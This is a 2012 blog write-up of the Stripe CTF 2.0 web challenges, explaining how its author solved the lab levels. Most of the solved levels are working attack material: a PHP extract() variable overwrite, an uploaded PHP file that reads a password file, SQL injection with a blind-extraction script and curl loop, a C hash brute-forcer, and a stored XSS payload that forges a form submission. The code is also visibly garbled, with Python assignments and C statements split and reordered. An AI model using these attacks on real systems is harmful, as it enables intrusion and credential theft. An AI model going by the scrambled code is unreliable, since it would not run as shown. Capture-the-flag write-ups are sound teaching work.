Stripe CTF 2.0 (partial) writeup
by Etienne Millon on August 30, 2012
Tagged as: stripe, ctf, security.
The Stripe CTF 2.0 is over ! Massive props to Stripe for this great edition. I was stuck on level 5 but here is a humble writeup.
Level 0 : the Secret Safe
The first level is a web application written in node.js that holds a password in a SQLite database.
The error is in following line :
var query = 'SELECT * FROM secrets WHERE key LIKE ? || ".%"';
“LIKE” interprets its argument as a regular expression. The solution is thus to pass it a regular expression which matches everything : entering “%” reveals the password.
Level 1 : the Guessing Game
Here we have the following PHP script :
<html>
<head>
<title>Guessing Game</title>
</head>
<body>
<h1>Welcome to the Guessing Game!</h1>
<p>
, and if you get it right,
Guess the secret combination below'll get the password to the next level!
you </p>
<?php
$filename = 'secret-combination.txt';
extract($_GET);
if (isset($attempt)) {
$combination = trim(file_get_contents($filename));
if ($attempt === $combination) {
echo "<p>How did you know the secret combination was" .
" $combination!?</p>";
$next = file_get_contents('level02-password.txt');
echo "<p>You've earned the password to the access Level 2:" .
" $next</p>";
} else {
echo "<p>Incorrect! The secret combination is not $attempt</p>";
}
}
?>
<form action="#" method="GET">
<p><input type="text" name="attempt"></p>
<p><input type="submit" value="Guess!"></p>
</form>
</body>
</html>
The intent is that the script receives an “attempt” parameter, reads a file and
compares the attempt with the file contents. But it uses a very insecure method
of doing so : the function extract
copies its associative array argument
directly into the symbol table.
For example, the following script :
<?php
$vars = array('a' => 2, 'b' => 'foo');
extract($vars);
echo "a = $a, b = $b\n";
?>
outputs :
a = 2, b = foo
As the argument $_GET
is controlled by the attacker, it means that we can
overwrite any variable, including $filename
. By providing the script the name
of another file whose contents are known, we can bypass the check. There’s a
very good candidate for such a file : index.php
itself.
So, let’s url-encode the file (we also have to trim the last newline) and issue the following GET request with curl :
% curl localhost:8000/index.php \
-G \
-d filename=index.php \
-d attempt=$(perl -MURI::Escape \
-e '{local $/; $_=<>;} chomp; print uri_escape $_' \
<index.php)
[...]
</html>!?</p><p>You've earned the password to the access Level 2: dummy-password
[...]
Level 2 : the Social Network
Level 2 is a small script, also in PHP, where you can upload a picture and display it. But it’s also done in an insecure way :
- the files are uploaded in a visible folder
- any file extension is allowed
- the server will execute everything with a
.php
extension
Have a small idea ? :) We can write a PHP script, upload it and execute from the upload directory. If it contains code to read the secret password, we’re done :
<?php
echo (file_get_contents("../password.txt"));
?>
Level 3 : the Secret Vault
The next level is a small application where you enter a login and a password, and if it matches one in the database, you have access to a secret. This time it is written in Python, using the Flask microframework. Better than PHP but it seems that the (fictional) developer has never heard about SQL injections !
The relevant lines are :
= """SELECT id, password_hash, salt FROM users
query WHERE username = '{0}' LIMIT 1""".format(username)
cursor.execute(query)
= cursor.fetchone()
res if not res:
return "There's no such user {0}!\n".format(username)
= res
user_id, password_hash, salt
= hashlib.sha256(password + salt)
calculated_hash if calculated_hash.hexdigest() != password_hash:
return "That's not the password for {0}!\n".format(username)
The query is vulnerable to SQL injections : if username
contains a quote, it
will close the other one. For example, if it is ' OR 1=1 --
, the full query
will be a valid one : SELECT id, password_hash, salt FROM users WHERE username = '' OR 1=1 --' LIMIT 1""".format(username)
.
% curl http://localhost:5000/login -d "username=' OR 1=1 --" -d password=foo
That's not the password for ' OR 1=1 --!
Note that the error message is different when the query evaluates to something false :
% curl http://localhost:5000/login -d "username=' OR 1=2 --" -d password=foo
There's no such user ' OR 1=2 --!
This means that we have a way to evaluate arbitrary (boolean) expressions. Using subqueries, we can get information from the database :
% curl http://localhost:5000/login \
-d "username=' OR 1=(SELECT COUNT(*) FROM users WHERE username='bob') --"\
-d password=foo
That's not the password for ' OR 1=(SELECT COUNT(*) FROM users WHERE username='bob') --!
% curl http://localhost:5000/login \
-d "username=' OR 1=(SELECT COUNT(*) FROM users WHERE username='alice') --"\
-d password=foo
There's no such user ' OR 1=(SELECT COUNT(*) FROM users WHERE username='alice') --!
The DB contains a user named “bob” but no user named “alice”. What about his password hash?
% for p in $(seq 0 9) a b c d e f ; do
curl http://localhost:5000/login \
-d "username=' OR 1=(SELECT COUNT(*) FROM users WHERE username='bob' AND password_hash LIKE '$p%') --"\
-d password=foo
done
There's no such user ' OR 1=(SELECT COUNT(*) FROM users WHERE username='bob' AND password_hash LIKE '0%') --!
There's no such user ' OR 1=(SELECT COUNT(*) FROM users WHERE username='bob' AND password_hash LIKE '1%') --!
There's no such user ' OR 1=(SELECT COUNT(*) FROM users WHERE username='bob' AND password_hash LIKE '2%') --!
There's no such user ' OR 1=(SELECT COUNT(*) FROM users WHERE username='bob' AND password_hash LIKE '3%') --!
There's no such user ' OR 1=(SELECT COUNT(*) FROM users WHERE username='bob' AND password_hash LIKE '4%') --!
There's no such user ' OR 1=(SELECT COUNT(*) FROM users WHERE username='bob' AND password_hash LIKE '5%') --!
There's no such user ' OR 1=(SELECT COUNT(*) FROM users WHERE username='bob' AND password_hash LIKE '6%') --!
There's no such user ' OR 1=(SELECT COUNT(*) FROM users WHERE username='bob' AND password_hash LIKE '7%') --!
There's no such user ' OR 1=(SELECT COUNT(*) FROM users WHERE username='bob' AND password_hash LIKE '8%') --!
There's no such user ' OR 1=(SELECT COUNT(*) FROM users WHERE username='bob' AND password_hash LIKE '9%') --!
That's not the password for ' OR 1=(SELECT COUNT(*) FROM users WHERE username='bob' AND password_hash LIKE 'a%') --!
There's no such user ' OR 1=(SELECT COUNT(*) FROM users WHERE username='bob' AND password_hash LIKE 'b%') --!
There's no such user ' OR 1=(SELECT COUNT(*) FROM users WHERE username='bob' AND password_hash LIKE 'c%') --!
There's no such user ' OR 1=(SELECT COUNT(*) FROM users WHERE username='bob' AND password_hash LIKE 'd%') --!
There's no such user ' OR 1=(SELECT COUNT(*) FROM users WHERE username='bob' AND password_hash LIKE 'e%') --!
There's no such user ' OR 1=(SELECT COUNT(*) FROM users WHERE username='bob' AND password_hash LIKE 'f%') --!
So, the hash starts by a “a”. By scripting this, we can get bob’s password hash
and salt (from generate_data.py
we know that the salt and the password are
made of 7 lowercase letters).
#!/usr/bin/env python
import hashlib
import itertools
import requests
import string
def is_ok(query):
= "' OR 1=" + query + " --"
full_query = {'username': full_query, 'password' : 'foo' }
payload = "http://localhost:5000/login"
url = requests.post(url, data=payload)
r return "not the password for" in r.text
def next_char(user, field, chars, prefix):
for c in chars:
= "(SELECT COUNT(*) FROM users "\
q + "WHERE username = '{0}' "\
+ "AND {1} LIKE '{2}{3}%')"
if is_ok(q.format(user, field, prefix, c)):
return c
print prefix
return None
def crack(user, field, chars):
= ''
prefix while True:
= next_char(user, field, chars, prefix)
c if c is None:
return
+= c
prefix
if __name__ == '__main__':
'bob', 'password_hash', string.hexdigits)
crack('bob', 'salt', string.ascii_lowercase) crack(
And the output is something like :
% ./level3.py
aee3d87d877c39d68e49c2c6e47789de3de40a73e2970fe2355011649932f5bb
zxqtgxi
Gereating all strings and their hashes is a bit too slow in Python, so I put together a small C program to do the heavy work.
#include <openssl/sha.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv)
{
char salt[] = "zxqtgxi";
unsigned char expected_hash[] =
"\xae\xe3\xd8\x7d\x87\x7c\x39\xd6"
"\x8e\x49\xc2\xc6\xe4\x77\x89\xde"
"\x3d\xe4\x0a\x73\xe2\x97\x0f\xe2"
"\x35\x50\x11\x64\x99\x32\xf5\xbb";
char s[15];
(&s[7], salt, 7);
memcpy
unsigned char hash[SHA256_DIGEST_LENGTH];
;
SHA256_CTX sha256
#define LOOP(n) for(s[n]='a';s[n]<='z';s[n]++)
(0) LOOP(1) LOOP(2)
LOOP(3) LOOP(4) LOOP(5)
LOOP(6) {
LOOP(&sha256);
SHA256_Init(&sha256, s, 14);
SHA256_Update(hash, &sha256);
SHA256_Finalif(!memcmp(hash, expected_hash,
)) {
SHA256_DIGEST_LENGTH("FOUND : %s\n", s);
printf(0);
exit}
}
return 0;
}
A few minutes later, we have the answer.
Level 4 : the Karma Trader
New level, new language : Ruby this time. In the application written with the Sinatra framework, you can create accounts and transfer an amount of karma to another user, with the rule that once you transferred karma to a user, he can see your password. The goal is to get karma_fountain’s password, with the indication that he logs in often.
This is a good indication that it will be a XSS attack in karma_fountain’s browser : by injecting a piece of javascript into the page, we’ll fill and submit the transfer form. The obvious vector is the username ; alas it is filtered :
unless username =~ /^\w+$/
"Invalid username. Usernames must match /^\w+$/", :register)
die(end
But as the password is presented, it is also a possibility. It turns out that it is not filtered, and thus exploitable.
Let’s create a user “x” with the following password:
<script>
var f = document.forms[0];
'to'].value="x";
f['amount'].value="100";
f[.submit();
f</script>
And to deliver this payload, we just have to send karma to karma_fountain. A minute later or so, its password appears.
Level 5 : the DomainAuthenticator
I couldn’t finish this level. This level is also a Sinatra web application,
which can make POST requests to hosts ending in stripe-ctf.com
. When the
response contains “AUTHENTICATED”, you are marked as logged in as this host. The
goal is to log in as a host name matching ^level05-\d+\.stripe-ctf\.com$
.
I tried two different techniques.
The first one is to have the level 5 host make a request to itself, so that this
request triggers another request to an arbitrary controlled server (the server
from level 2 can be used for this). The main problem is that the application
needs 3 parameters : “username”, “password” and “pingback”, and it passes the
only first two of them to the pingback URL. I tried header injection (injecting
a &pingback=...
at the end of the password), but it was filtered out.
The second one is to slightly abuse HTTP : a same host can have two hostnames and serve a different content depending on the “Host:” HTTP header. If the level 2 and level 5 run on the same IP, we could run a custom HTTP server on a high port, so that the POST would succeed (this would work because there is no check that the port is 80). Unfortunately, the two levels run on different hosts, so this does not work.
Other levels
A lot of complete solutions have been published since, for example this
one. I’m quite frustrated because I’m almost sure that I tried
adding a ?pingback
parameter on level 5. Anyway, I hope that the next edition
will be as interesting as this one, and that this time, I’ll win a t-shirt :)